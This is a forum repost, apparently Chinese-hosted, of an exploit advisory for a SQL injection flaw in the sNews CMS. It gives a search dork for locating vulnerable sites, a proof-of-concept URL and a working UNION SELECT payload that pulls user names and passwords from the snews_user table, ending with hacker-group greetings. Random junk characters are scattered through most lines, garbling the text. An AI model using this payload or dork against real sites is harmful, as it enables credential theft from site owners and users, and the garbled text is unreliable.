标题: CMS snews SQL Injection Vulnerability7 p: E) U, d2 h; O) Y$ ?$ T5 K
作者: By onestree
2 |( K. L3 m* |. o: _4 d/ J, X* s下载地址 : http://snewscms.com/5 i5 H' w" {4 F( b/ e
测试平台 : ubuntu 12.10 / win 7
4 h, x3 Q$ D9 a/ f关键词: inurl:"tanyakan pada rumput yang bergoyang"0 x6 g" A! f7 e+ T
# v# h* @, o* T6 v
% Y2 F! K& N, } l6 {1 \% j! D
*************************************************************, E# W g/ ~; d- K
' j( b# x/ w5 Z: N, ?9 `9 X8 D+ c3 T& qSQL poc:
6 X0 z9 e' n! {3 g+ O$ { ' D1 B7 D+ y- Y, D: p
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
$ {( s5 T! f& ] ?0 d- m 4 C x6 [ R, W$ K
示例$ y/ M1 c% O/ |6 X+ R/ n4 a
1 F4 D! p) a2 s$ i( _4 h
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
# `6 a/ n* u& [* N. p 2 S& v7 O! u: M, n) S% B
8 u# f1 U0 y, p7 U4 z7 I! A( C
致谢:4 G; [1 Q5 {( r6 |7 Z6 \1 M# A
/ L+ i2 d& I2 `& h, a1 \ Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell8 i4 E) r5 I3 k* \" j; v
" g# L- `% N9 B) r5 m indonesiancoder - moeslimh4x0r - go-coder
& g0 k' R! R! R . Y% @; N2 m# C. R! ^3 v
spesial my hunny :*- d3 e! _& v1 l% H* |& u
|
发表于 2013-1-23 08:55:06
收藏
支持
反对